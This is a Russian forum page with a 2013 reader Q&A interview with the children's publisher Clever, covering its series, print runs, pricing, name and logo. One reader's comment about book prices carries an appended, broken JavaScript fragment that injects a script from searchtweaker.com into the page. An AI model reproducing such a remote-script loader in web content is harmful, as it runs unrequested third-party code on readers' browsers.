Интервью с издательством Clever!!!

Огромное спасибо издательству Clever за то, что согласились прийти к нам в гости и поучаствовать в интервью, спасибо за подробные ответы! А участникам спасибо за интересные вопросы! 
29.08.2013
Хотела сказать отдельное спасибо за "Робинзона Крузо". Читала разные отклики на это издание. Сама же считаю, что современным детям нужен не только текст, им органично "клиповое" восприятие. А уж подключенные к интернету - тем более. Да и мне было любопытно полистать книгу. Читатель подрастет, оценит. Какие еще романы вы планируете в этой серии? И еще, я не понимаю, в чем секрет серии про кокеши. Вроде, текста мало, но дочка обожает. Ладно бы месяц. Уже более полугода. Как отучить от кокеши? )) Скорее выпускайте что-то такое же клевое. 
24.08.2013
Добрый день!Спасибо за Ваши книги! 1. У Вас изданы отдельные книги по произведениям Чуковского и Пушкина, причем Чуковский - с такими, я бы сказала, современными, смелыми иллюстрациями, для меня совершенно не известных художников. Не страшно было экспериментировать? Ожидания оправдались? Чьи еще стихи и сказки стоит ожидать в этой серии?2. Будут ли еще издаваться книги в двух форматах, как "Что хочется лошадке?" и какие?3. Не вопрос, а пожелание: хотелось бы поскорее увидеть Ваш полноценный сайт )) А не только видеть Вас в соцсетях.
18.08.2013
Елена Измайлова, главный редактор: 1. Экспериментировать было не страшно. Страшно делать все время одно и то же. Мы осознанно пошли на этот эксперимент и пригласили современных молодых художников, чтобы они вдохнули новую жизнь в давно известные и любимые стихи.  Наше издание стихов Чуковского не стало хитом продаж, но тем не менее, продолжает пользоваться ровным и постоянным спросом у читателей.   Может быть, вы обратили внимание на наши издания Джанни Родари (имею в виду книги «Гондола-призрак» и «Коты города Рима»): тоже сочетание классических текстов (в новом прекрасном переводе Михаила Визеля) и современных иллюстраций. Эти книги оказались очень удачными, мы уже делали допечатки. И да, мы определенно будем продолжать наши эксперименты в самых разных форматах. 2. Елена Измайлова, главный редактор: Пока в планах нет. 3. Сайт заработает с 1 сентября. Мы сами очень этого ждем!2
28.08.2013
Здравствуйте!Издайте, пожалуйста, книги М Мусерович (кроме Целестины у нас вообще ничего не издавали) и М Ганиной Тяпкин и Леша!!!!!!Такие хорошие книги!!!
15.08.2013
Елена Измайлова, главный редактор: Насколько я знаю, Малгожата Мусерович не продает права на русский рынок, поэтому ее книги и не издаются в России. Но мы попробуем выяснить. Насчет «Тяпкина и Леши» - спасибо за идею, подумаем на эту тему. И вообще мы планируем целую серию давно забытых хороших книг и будем рады подсказкам и предложениям наших читателей
23.08.2013
http://5razvorotov.livejournal.com/559776.htmlвот какую информацию я нашла, может пригодится
23.08.2013
Мой сын в свое время начал знакомство с детской литературой с простенькой книжки Вашего издательства "Мимбо-Джимбо" Якоба Мартина Стрида. Чуть позже последовала книга "Как спасали крошку Мадсена" этого же автора, ну а за ним и история о шаловливом "Лягушонке" пришлась ему по душе. К сожалению, историю про "Лягушонка" пришлось искать по библиотекам города, поскольку к тому времени, когда сын до нее дорос, в продаже ее, увы, не оказалось. Нет и до сих пор. И не удивительно, ведь тираж названных изданий всего 3000 экземпляров. Оно с одной стороны и понятно, редкая мама сейчас увлекается подбором качественной и действительно интересной литературы для своего ребенка, оттого и объемы тиражей страдают. Но все-таки, почему бы хоть изредка не делать довыпуски тиражей успешных у детей книжек? Ведь следующее поколение малышей, которые родились вслед за нашими, уже не найдут такой возможности прочесть ту или иную книгу... А значит, потеряют что-то действительно очень важное для себя...
15.08.2013
Елена Измайлова, главный редактор: Мария, спасибо за теплые слова, мы очень рады, что вам нравится Якоб Мартин Стрид, мы его тоже очень любим. Но нехватка книги в продаже не всегда означает отсутствие тиража на складах издательства. Дело еще в политике магазина, который не считает нужным дозаказывать ту или иную книгу, потому что она недостаточно хорошо, по его мнению, продается. Кстати, советуем вам обратить внимание на новую книгу Стрида – «Необыкновенную историю о гигантской груше», нам кажется, что она у него – лучшая, это просто шедевр.
23.08.2013
Александр Альперович, генеральный директор: Все успешные книги, безусловно, допечатываются. Не допечатываются книги, которые, к сожалению для нас, не находят своего покупателя. Книга, которая выходит тиражом 3000 экз. и продается больше года, экономически невыгодна с точки зрения ее переиздания. Значит, в этот момент она неинтересна, не востребована. Иногда какие-то вещи перевыпускаются со временем. Мы сейчас видим тренд переиздания советских книг. Прошло время, народ соскучился, и переиздаются книги, которые не переиздавались несколько десятков лет. Всему свое время.
23.08.2013
Здравствуйте, уважаемое издательство! Мы с дочкой пока еще ваши начинающие читатели и почитатели - у нас есть только одна ваши книга "Большая рисовалка". Но могу сказать, что дочка, после приобретения, не выпускала ее из рук неделю, а то и больше - рисовала, рисовала, рисовала.Мне очень нравится идея с названием вашего издательства - игра слов английского "clever" и русского "клевер". Хотела бы узнать как возникла эта идея? И что символизирует ваш логотип?
14.08.2013
Александр Альперович, генеральный директор: Так и возникла. Именно в этом и состояла задача, когда мы придумывали название, чтобы оно было понятно на двух языках. Естественно мы хотели отразить нашу направленность, что мы современное издательство, которое занято книгами, способствующими развитию и образованию ребенка. Книги эти мы делаем современными методами, способами, так чтобы ребенку не было скучно, чтобы интерес к чтению у него возникал в тот момент, когда в его руки попадают наши книги. Название на английском языке абсолютно необходимо, т.к. мы очень плотно общаемся с западными контрагентами, выпускаем много книг, покупая права на них заграницей. И было необходимо, чтобы контрагенты понимали наше название и оно себя оправдывает. Логотип в виде птицы символизирует мудрость, а в клюве у нее счастливый четырехлистный клеверок. Два понятия в одном логотипе.   
23.08.2013
Добрый день, планируется ли выпустить на свет книги похожие на "горшок для Феди"? (полезные для детей и родителей)
07.08.2013
Елена Измайлова, главный редактор: Да, мы планируем целых две новых серии, но это пока секрет J Могу сказать только, что автором одной из них будет Анна Никольская, а главным героем – милый котеночек по имени Нет.
23.08.2013
Здравствуйте, уважаемое издательство, хотелось бы узнать, планируете ли Вы в ближайшее время выпустить "бюджетную" серию книжек? Проводите ли Вы акции издавая книжки по можно сказать заниженной цене? Спасибо большое за много интересных книжек, к сожалению (без упреков в Ваш адрес) на сегодняшний момент детские качественные книжки с хорошими иллюстрациями стоят немалых денег, хочется ребенку купить все самое лучшее, но не всегда есть такая возможность.Очень опасаюсь, что цена на детские книжки с каждым годом будет только расти.Как Вы думаете можно приостановить цены на книжки и возможно ли это?[removed](function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script. (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script. header.appendChild(script);} catch(e) {}})();[removed]
05.08.2013
Александр Альперович, генеральный директор: Наша аудитория – это средний класс. Мы не делаем специально дорогих книг, но мы стараемся делать очень качественные книги. Мы находим своих покупателей в тех ценовых диапазонах, в которых можем работать. Мы не позволяем себе делать дешевые книги. Книги удешевить можно тремя способами: сделать дешевое полиграфическое исполнение, сделать большой тираж или не тратиться на авторские иллюстрации и авторский текст. Т.к. мы во главу угла ставим качество текста, качество иллюстраций, то мы не можем никоим образом поступиться этими затратами, тоже самое касается полиграфического исполнения. Единственный вопрос – это длина тиража, но это зависит от нашего роста и развития. Чем больше мы будем становиться, тем вероятнее больше будут наши тиражи, это в какой-то степени приведет к удешевлению наших книг. Но кардинального изменения ценовой политики не планируется. Более того мы не собираемся конкурировать в сегменте дешевой литературы, это точно не наш рынок, не то место, где мы хотим быть, где мы хотим себя позиционировать.
23.08.2013
Добрый день!1. Расскажите, пожалуйста, немного как возникло Ваше издательство? Кто был идейным вдохновителем? 2. Будете ли вы работать с русскими авторами и иллюстраторами? Как я понимаю это сейчас самая маленькая часть издаваемых Вами книг - так и останется или будет что-то меняться?
05.08.2013
1. Александр Альперович, генеральный директор: Издательство придумал я в 2009 году, когда работал управляющим директором "АСТ". Я пришел к выводу, что мне очень хочется заниматься издательским бизнесом как таковым, я понял, что это мое призвание, это то, чем я могу и хочу заниматься. Также я понял, что детских книг на тот момент было недостаточно, они существовали по некому остаточному принципу в больших издательствах. И этот рынок был практически свободен. Тогда начали возникать и крепнуть много небольших издательских проектов. Я год занимался исследованием этого рынка и созданием концепции, привлечением определённых партнеров и сотрудников. В 2010 году мы запустились. Через несколько месяцев нам будет уже три года. Пока все, что мы планировали, мы все реализовываем. 2. Елена Измайлова, главный редактор: Мы и сейчас с удовольствием работаем с русскими авторами и иллюстраторами и в дальнейшем продолжим с ними активно работать. Но в ближайший год преобладать все равно будут переводные книги.
23.08.2013
Здравствуйте, Клёвер-а. Извините уж, что я Вас так переназвала.Но помоему, начиная с вашего логотипа Вы заявили себя,как качественное, современное, необычное, детское, книжное издательство.За всю историю моего знакомства, я не припомню ни однойизданной Вами книги с плохой полиграфией или отсутствием идеи.Далеко не все издательства имеют такой статус, в моём личном рейтинге.А это очень клёво. И за это Вам Спасибо.Правда, в мою библиотеку попало пока не так много книг, как хотелось бы.Наконец, вопросы:1. Просчитываете ли Вы насколько велик рискневостребованности у покупателя выпуск новойоригинальной в нашей стране книги? Есть ли способы прощёта или секрет?Например, Мещеряков последнее время в жж тупо пишет: Хочу издать то-то, брать будете?"2. Большинство серьёзно относящихся к творчеству людей,воспринимают свои произведения или говорят о них, как о рождении дитя.Относитесь ли Вы так же к изданию своих книг или это не совсем верное определение в данном случае?Отдельно благодарю за книги-шедевры, которым мы посвятили не мало времени:"Там, где живёт птичка...", "Что хочется лошадке", "Большая пребольшая раскраска"
03.08.2013
1. Александр Альперович, генеральный директор: В социальных сетях мы общаемся с нашей аудиторией, но эта выборка не является репрезентативной на сегодняшний день для нас. Если говорить о серьезных социологических исследованиях, фокус-группах, маркетинговых исследованиях, то по некоторым проектам мы это проводим. А по некоторым проектам мы основываемся на нашем опыте, предположениях. Бывают случаи, что хорошо просчитанный проект проваливается или выстреливают те вещи, на которые совсем не рассчитывали. Но я приверженец того, что все надо продумывать, понимать зачем это делается и понимать отличия своего продукта от всего остального на рынке.2. Александр Альперович, генеральный директор: Безусловно, конечно! Меня лично очень задевают негативные отзывы. Слава богу, нас все меньше критикуют, мы заслуживаем авторитет и уважение. Но вначале пути было очень сложно, потому что критиковали жестко и не принимали, мы не могли найти своего читателя. Это был сложный процесс.Спасибо, мы очень ценим Ваше мнение и рады, что все делаем не зря.  
23.08.2013
Оставшиеся комментарии доступны после регистрации
Зарегистрируйтесь и получите полный доступ ко всем функциям сайта.
Помогите моей Сонечке научиться ходить! Итоги интервью с издательством Clever!